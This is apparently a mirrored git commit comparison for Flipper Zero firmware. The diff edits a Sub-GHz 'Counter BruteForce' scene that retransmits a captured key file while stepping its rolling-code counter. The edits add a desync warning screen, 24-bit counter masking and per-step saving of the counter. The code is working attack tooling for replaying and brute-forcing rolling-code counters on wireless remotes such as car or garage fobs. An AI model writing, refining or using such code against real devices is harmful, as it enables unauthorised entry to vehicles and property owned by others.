mirror of
https://github.com/D4C1-Labs/Flipper-ARF.git
synced 2026-05-14 17:55:05 +00:00
Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 12db96a8ab | |||
| 4b50b8b70c | |||
| 0f24f8c105 |
@@ -5,9 +5,10 @@
|
|||||||
#define TAG "SubGhzCounterBf"
|
#define TAG "SubGhzCounterBf"
|
||||||
|
|
||||||
// How many ticks to wait between transmissions (1 tick ~100ms)
|
// How many ticks to wait between transmissions (1 tick ~100ms)
|
||||||
#define COUNTER_BF_TX_INTERVAL_TICKS 3
|
#define COUNTER_BF_TX_INTERVAL_TICKS 5
|
||||||
|
|
||||||
typedef enum {
|
typedef enum {
|
||||||
|
CounterBfStateWarning,
|
||||||
CounterBfStateIdle,
|
CounterBfStateIdle,
|
||||||
CounterBfStateRunning,
|
CounterBfStateRunning,
|
||||||
CounterBfStateStopped,
|
CounterBfStateStopped,
|
||||||
@@ -22,8 +23,16 @@ typedef struct {
|
|||||||
uint32_t tick_wait;
|
uint32_t tick_wait;
|
||||||
} CounterBfContext;
|
} CounterBfContext;
|
||||||
|
|
||||||
#define CounterBfEventStart (0xC0)
|
#define CounterBfEventStart (0xC0)
|
||||||
#define CounterBfEventStop (0xC1)
|
#define CounterBfEventStop (0xC1)
|
||||||
|
#define CounterBfEventWarningOk (0xC2)
|
||||||
|
|
||||||
|
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
|
||||||
|
SubGhz* subghz = context;
|
||||||
|
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||||
|
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
|
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||||
SubGhz* subghz = context;
|
SubGhz* subghz = context;
|
||||||
@@ -32,18 +41,36 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static void counter_bf_draw_warning(SubGhz* subghz) {
|
||||||
|
widget_reset(subghz->widget);
|
||||||
|
widget_add_string_multiline_element(
|
||||||
|
subghz->widget,
|
||||||
|
64,
|
||||||
|
20,
|
||||||
|
AlignCenter,
|
||||||
|
AlignCenter,
|
||||||
|
FontSecondary,
|
||||||
|
"WARNING:\nThis may desync\nyour fob!");
|
||||||
|
widget_add_button_element(
|
||||||
|
subghz->widget,
|
||||||
|
GuiButtonTypeCenter,
|
||||||
|
"OK",
|
||||||
|
counter_bf_warning_callback,
|
||||||
|
subghz);
|
||||||
|
}
|
||||||
|
|
||||||
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
||||||
widget_reset(subghz->widget);
|
widget_reset(subghz->widget);
|
||||||
FuriString* str = furi_string_alloc();
|
FuriString* str = furi_string_alloc();
|
||||||
furi_string_printf(
|
furi_string_printf(
|
||||||
str,
|
str,
|
||||||
"Counter BruteForce\n"
|
"Counter BruteForce\n"
|
||||||
"Cnt: 0x%08lX\n"
|
"Cnt: 0x%06lX\n"
|
||||||
"Sent: %lu pkts\n"
|
"Start: 0x%06lX\n"
|
||||||
"Start: 0x%08lX",
|
"Sent: %lu",
|
||||||
ctx->current_cnt,
|
ctx->current_cnt & 0xFFFFFF,
|
||||||
ctx->packets_sent,
|
ctx->start_cnt & 0xFFFFFF,
|
||||||
ctx->start_cnt);
|
ctx->packets_sent);
|
||||||
widget_add_string_multiline_element(
|
widget_add_string_multiline_element(
|
||||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
|
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
|
||||||
furi_string_free(str);
|
furi_string_free(str);
|
||||||
@@ -57,14 +84,12 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
||||||
// Escribir el Cnt final directamente en el archivo .sub en disco.
|
|
||||||
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
|
|
||||||
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
|
|
||||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||||
if(flipper_format_buffered_file_open_existing(
|
if(flipper_format_buffered_file_open_existing(
|
||||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||||
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
|
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
|
||||||
|
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||||
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
|
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -77,16 +102,15 @@ static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
|||||||
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
|
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
|
||||||
subghz_txrx_stop(subghz->txrx);
|
subghz_txrx_stop(subghz->txrx);
|
||||||
|
|
||||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
|
||||||
|
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
|
||||||
|
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
|
||||||
|
|
||||||
|
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||||
uint32_t repeat = 20;
|
uint32_t repeat = 20;
|
||||||
flipper_format_rewind(fff);
|
flipper_format_rewind(fff);
|
||||||
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
|
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
|
||||||
|
|
||||||
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
|
|
||||||
flipper_format_rewind(fff);
|
|
||||||
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
|
|
||||||
|
|
||||||
subghz_tx_start(subghz, fff);
|
subghz_tx_start(subghz, fff);
|
||||||
|
|
||||||
ctx->packets_sent++;
|
ctx->packets_sent++;
|
||||||
@@ -98,42 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
|
|||||||
|
|
||||||
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
|
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
|
||||||
memset(ctx, 0, sizeof(CounterBfContext));
|
memset(ctx, 0, sizeof(CounterBfContext));
|
||||||
ctx->state = CounterBfStateIdle;
|
ctx->state = CounterBfStateWarning;
|
||||||
ctx->step = 1;
|
ctx->step = 1;
|
||||||
|
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||||
|
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||||
|
|
||||||
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
|
|
||||||
// propio, completamente separado del fff en memoria (que puede tener el Cnt
|
|
||||||
// modificado por TXs previas y no refleja el estado real del .sub).
|
|
||||||
{
|
{
|
||||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
flipper_format_rewind(fff);
|
||||||
if(flipper_format_buffered_file_open_existing(
|
uint32_t cnt = 0;
|
||||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
|
||||||
uint32_t cnt = 0;
|
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||||
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
|
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||||
ctx->current_cnt = cnt;
|
|
||||||
ctx->start_cnt = cnt;
|
|
||||||
} else {
|
|
||||||
FURI_LOG_W(TAG, "Cnt field not found in file");
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
|
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
|
||||||
|
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||||
|
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||||
|
if(flipper_format_buffered_file_open_existing(
|
||||||
|
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||||
|
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||||
|
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||||
|
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
flipper_format_free(file_fff);
|
||||||
|
furi_record_close(RECORD_STORAGE);
|
||||||
}
|
}
|
||||||
flipper_format_free(file_fff);
|
|
||||||
furi_record_close(RECORD_STORAGE);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
scene_manager_set_scene_state(
|
scene_manager_set_scene_state(
|
||||||
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
|
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
|
||||||
|
|
||||||
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
|
counter_bf_draw_warning(subghz);
|
||||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
|
||||||
|
|
||||||
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
|
|
||||||
// para preparar el fff para TX sin que pise nuestro valor leído.
|
|
||||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
|
||||||
|
|
||||||
counter_bf_draw(subghz, ctx);
|
|
||||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -144,15 +164,21 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
|||||||
if(!ctx) return false;
|
if(!ctx) return false;
|
||||||
|
|
||||||
if(event.type == SceneManagerEventTypeCustom) {
|
if(event.type == SceneManagerEventTypeCustom) {
|
||||||
|
if(event.event == CounterBfEventWarningOk) {
|
||||||
|
ctx->state = CounterBfStateIdle;
|
||||||
|
counter_bf_draw(subghz, ctx);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
if(event.event == CounterBfEventStart) {
|
if(event.event == CounterBfEventStart) {
|
||||||
|
if(ctx->state == CounterBfStateWarning) return true;
|
||||||
|
|
||||||
if(ctx->state != CounterBfStateRunning) {
|
if(ctx->state != CounterBfStateRunning) {
|
||||||
ctx->state = CounterBfStateRunning;
|
ctx->state = CounterBfStateRunning;
|
||||||
ctx->tick_wait = 0;
|
ctx->tick_wait = 0;
|
||||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||||
counter_bf_send(subghz, ctx);
|
counter_bf_send(subghz, ctx);
|
||||||
} else {
|
} else {
|
||||||
// FIX 2: Al detener, guardar el contador actual en el .sub
|
|
||||||
// para que al volver a emular manualmente continúe desde acá.
|
|
||||||
ctx->state = CounterBfStateStopped;
|
ctx->state = CounterBfStateStopped;
|
||||||
subghz_txrx_stop(subghz->txrx);
|
subghz_txrx_stop(subghz->txrx);
|
||||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||||
@@ -167,19 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
|||||||
if(ctx->tick_wait > 0) {
|
if(ctx->tick_wait > 0) {
|
||||||
ctx->tick_wait--;
|
ctx->tick_wait--;
|
||||||
} else {
|
} else {
|
||||||
ctx->current_cnt += ctx->step;
|
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
|
||||||
counter_bf_send(subghz, ctx);
|
counter_bf_send(subghz, ctx);
|
||||||
|
counter_bf_save(subghz, ctx);
|
||||||
counter_bf_draw(subghz, ctx);
|
counter_bf_draw(subghz, ctx);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
} else if(event.type == SceneManagerEventTypeBack) {
|
} else if(event.type == SceneManagerEventTypeBack) {
|
||||||
|
if(ctx->state == CounterBfStateWarning) {
|
||||||
|
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||||
|
free(ctx);
|
||||||
|
scene_manager_previous_scene(subghz->scene_manager);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
subghz_txrx_stop(subghz->txrx);
|
subghz_txrx_stop(subghz->txrx);
|
||||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||||
|
|
||||||
// FIX 2 (también en Back): guardar siempre al salir
|
|
||||||
counter_bf_save(subghz, ctx);
|
counter_bf_save(subghz, ctx);
|
||||||
|
|
||||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||||
free(ctx);
|
free(ctx);
|
||||||
scene_manager_previous_scene(subghz->scene_manager);
|
scene_manager_previous_scene(subghz->scene_manager);
|
||||||
|
|||||||
Reference in New Issue
Block a user